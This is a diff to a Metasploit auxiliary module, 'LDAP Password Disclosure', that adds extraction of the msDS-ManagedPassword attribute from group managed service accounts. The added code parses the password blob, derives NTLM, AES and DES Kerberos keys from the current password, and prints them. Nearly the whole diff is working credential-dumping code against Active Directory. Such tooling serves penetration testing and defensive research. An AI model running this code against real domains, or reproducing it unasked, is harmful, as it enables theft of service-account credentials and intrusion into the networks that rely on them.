@@ -11,14 +11,16 @@ class MetasploitModule < Msf::Auxiliary
1111 include Msf ::Auxiliary ::Report
1212 include Msf ::Exploit ::Remote ::MsGkdi
1313 include Msf ::Exploit ::Remote ::LDAP
14+ include Msf ::Exploit ::Remote ::LDAP ::ActiveDirectory
1415 include Msf ::Exploit ::Remote ::LDAP ::Queries
1516 include Msf ::OptionalSession ::LDAP
17+ include Msf ::Util ::WindowsCryptoHelpers
1618
1719 include Msf ::Exploit ::Deprecated
1820 moved_from 'auxiliary/gather/ldap_hashdump'
1921
2022 LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800' . freeze
21- PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
23+ PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword msds-managedpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
2224
2325 def initialize ( info = { } )
2426 super (
@@ -27,7 +29,8 @@ def initialize(info = {})
2729 'Name' => 'LDAP Password Disclosure' ,
2830 'Description' => %q{
2931 This module will gather passwords and password hashes from a target LDAP server via multiple techniques
30- including Windows LAPS.
32+ including Windows LAPS. For best results, run with SSL because some attributes are only readable over
33+ encrypted connections.
3134 } ,
3235 'Author' => [
3336 'Spencer McIntyre' , # LAPS updates
@@ -67,59 +70,6 @@ def session?
6770 defined? ( :session ) && session
6871 end
6972
70- def get_ad_ds_domain_info ( ldap )
71- vprint_status ( 'Checking if the target LDAP server is an Active Directory Domain Controller...' )
72-
73- root_dse = ldap . search (
74- ignore_server_caps : true ,
75- base : '' ,
76- scope : Net ::LDAP ::SearchScope_BaseObject ,
77- attributes : %i[ configurationNamingContext supportedCapabilities supportedExtension ]
78- ) &.first
79-
80- unless root_dse [ :supportedcapabilities ] . map ( &:to_s ) . include? ( LDAP_CAP_ACTIVE_DIRECTORY_OID )
81- print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
82- return nil
83- end
84-
85- unless root_dse [ :supportedextension ] . include? ( Net ::LDAP ::WhoamiOid )
86- print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
87- return nil
88- end
89-
90- print_status ( 'The target LDAP server is an Active Directory Domain Controller.' )
91-
92- unless ldap . search ( base : '' , filter : '(objectClass=domain)' ) . nil?
93- # this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
94- # means we'll be getting information from more than one domain which breaks some core assumptions
95- # see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
96- fail_with ( Msf ::Module ::Failure ::NoTarget , 'The target LDAP server is a Global Catalog.' )
97- end
98-
99- target_domains = ldap . search (
100- base : root_dse [ :configurationnamingcontext ] . first . to_s ,
101- filter : "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ ldap . base_dn } ))"
102- )
103- unless target_domains . present?
104- fail_with ( Msf ::Module ::Failure ::NotFound , 'The target LDAP server did not return its NETBIOS domain name.' )
105- end
106-
107- unless target_domains . length == 1
108- fail_with ( Msf ::Module ::Failure ::NotFound , "The target LDAP server returned #{ target_domains . length } NETBIOS domain names." )
109- end
110-
111- target_domain = target_domains . first
112-
113- {
114- netbios_name : target_domain [ :netbiosname ] . first . to_s ,
115- dns_name : target_domain [ :dnsroot ] . first . to_s
116- }
117- end
118-
119- def ad_domain?
120- @ad_ds_domain_info . nil?
121- end
122-
12373 # PoC using ldapsearch(1):
12474 #
12575 # Retrieve root DSE with base DN:
@@ -147,10 +97,22 @@ def run_host(_ip)
14797 vprint_status ( "Using the '#{ datastore [ 'USER_ATTR' ] } ' attribute as the username" )
14898 end
14999
150- @ad_ds_domain_info = get_ad_ds_domain_info ( ldap )
100+ vprint_status ( 'Checking if the target LDAP server is an Active Directory Domain Controller...' )
101+ if is_active_directory? ( ldap )
102+ print_status ( 'The target LDAP server is an Active Directory Domain Controller.' )
103+ @ad_ds_domain_info = adds_get_domain_info ( ldap )
104+ else
105+ print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
106+ @ad_ds_domain_info = nil
107+ end
151108
152109 print_status ( "Searching base DN: #{ base_dn } " )
153110 entries_returned += ldap_search ( ldap , base_dn , base : base_dn )
111+ unless @ad_ds_domain_info . nil?
112+ attributes = %w[ dn sAMAccountName msDS-ManagedPassword ]
113+ attributes << datastore [ 'USER_ATTR' ] unless datastore [ 'USER_ATTR' ] . blank? || attributes . include? ( datastore [ 'USER_ATTR' ] )
114+ entries_returned += ldap_search ( ldap , base_dn , base : base_dn , filter : '(objectClass=msDS-GroupManagedServiceAccount)' , attributes : attributes )
115+ end
154116 end
155117
156118 # Safe if server did not return anything
@@ -300,6 +262,29 @@ def process_hash(entry, attr)
300262 # LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll assume it's 'Administrator'.
301263 username = 'Administrator'
302264 annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'ms-mcs-admpwdexpirationtime' ] . first . to_i ) } )" if entry [ 'ms-mcs-admpwdexpirationtime' ] . present?
265+ when 'msds-managedpassword'
266+ managed_password = MsdsManagedpasswordBlob . read ( private_data )
267+ current_password = managed_password . buffer_fields [ :current_password ] # this field should always be present
268+ if current_password && ( domain_dns_name = @ad_ds_domain_info &.fetch ( :dns_name ) )
269+ sam_account_name = entry [ :sAMAccountName ] . first . to_s
270+ salt = "#{ domain_dns_name . upcase } host#{ sam_account_name . delete_suffix ( '$' ) . downcase } .#{ domain_dns_name . downcase } "
271+ encoded_current_password = current_password . force_encoding ( 'UTF-16LE' ) . encode ( 'UTF-8' , invalid : :replace , undef : :replace ) . force_encoding ( 'ASCII-8BIT' )
272+
273+ ntlm_hash = OpenSSL ::Digest ::MD4 . digest ( current_password )
274+ ntlm_hash = "#{ sam_account_name } :2105:aad3b435b51404eeaad3b435b51404ee:#{ ntlm_hash . unpack1 ( 'H*' ) } :::"
275+ aes256_key = aes256_cts_hmac_sha1_96 ( encoded_current_password , salt )
276+ aes256_key = "#{ domain_dns_name } \\ #{ sam_account_name } :aes256-cts-hmac-sha1-96:#{ aes256_key . unpack1 ( 'H*' ) } "
277+ aes128_key = aes128_cts_hmac_sha1_96 ( encoded_current_password , salt )
278+ aes128_key = "#{ domain_dns_name } \\ #{ sam_account_name } :aes128-cts-hmac-sha1-96:#{ aes128_key . unpack1 ( 'H*' ) } "
279+ des_key = des_cbc_md5 ( encoded_current_password , salt )
280+ des_key = "#{ domain_dns_name } \\ #{ sam_account_name } :des-cbc-md5:#{ des_key . unpack1 ( 'H*' ) } "
281+
282+ print_good ( ntlm_hash )
283+ print_good ( aes256_key )
284+ print_good ( aes128_key )
285+ print_good ( des_key )
286+ private_data = 'see above'
287+ end
303288 when 'mslaps-password'
304289 begin
305290 lapsv2 = JSON . parse ( private_data )
@@ -495,4 +480,47 @@ class KVPairs < RASN1::Model
495480 model ( :key_attr , Sequence )
496481 ]
497482 end
483+
484+ # this is a partial implementation, processing the buffer and the fields is simplified to only support reading
485+ # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
486+ class MsdsManagedpasswordBlob < BinData ::Record
487+ endian :little
488+ hide :reserved
489+
490+ uint16 :version
491+ uint16 :reserved
492+ uint32 :blob_length
493+ uint16 :current_password_offset
494+ uint16 :previous_password_offset
495+ uint16 :query_password_interval_offset
496+ uint16 :unchanged_password_interval_offset
497+
498+ count_bytes_remaining :bytes_remaining
499+ string :buffer , read_length : -> { bytes_remaining }
500+
501+ def buffer_fields
502+ boffset = offset_of ( buffer )
503+ bfield_offsets = {
504+ current_password : current_password_offset ,
505+ previous_password : previous_password_offset ,
506+ query_password_interval : query_password_interval_offset ,
507+ unchanged_password_interval : unchanged_password_interval_offset
508+ } . sort_by { |_field , offset | offset }
509+
510+ bfields = { }
511+ bfield_offsets . each_cons ( 2 ) do |( field , offset ) , ( _ , next_offset ) |
512+ next if offset == 0
513+
514+ bfields [ field ] = buffer [ ( offset - boffset ) ..( next_offset - boffset ) ]
515+ end
516+ last_field , last_offset = bfield_offsets . last
517+ bfields [ last_field ] = buffer [ ( last_offset - boffset ) ..] if last_offset != 0
518+
519+ bfields [ :current_password ] = bfields [ :current_password ] . split ( "\x00 \x00 " . b ) . first if bfields [ :current_password ]
520+ bfields [ :previous_password ] = bfields [ :previous_password ] . split ( "\x00 \x00 " . b ) . first if bfields [ :previous_password ]
521+ bfields [ :query_password_interval ] = bfields [ :query_password_interval ] . unpack1 ( 'Q<' ) if bfields [ :query_password_interval ]
522+ bfields [ :unchanged_password_interval ] = bfields [ :unchanged_password_interval ] . unpack1 ( 'Q<' ) if bfields [ :unchanged_password_interval ]
523+ bfields
524+ end
525+ end
498526end
0 commit comments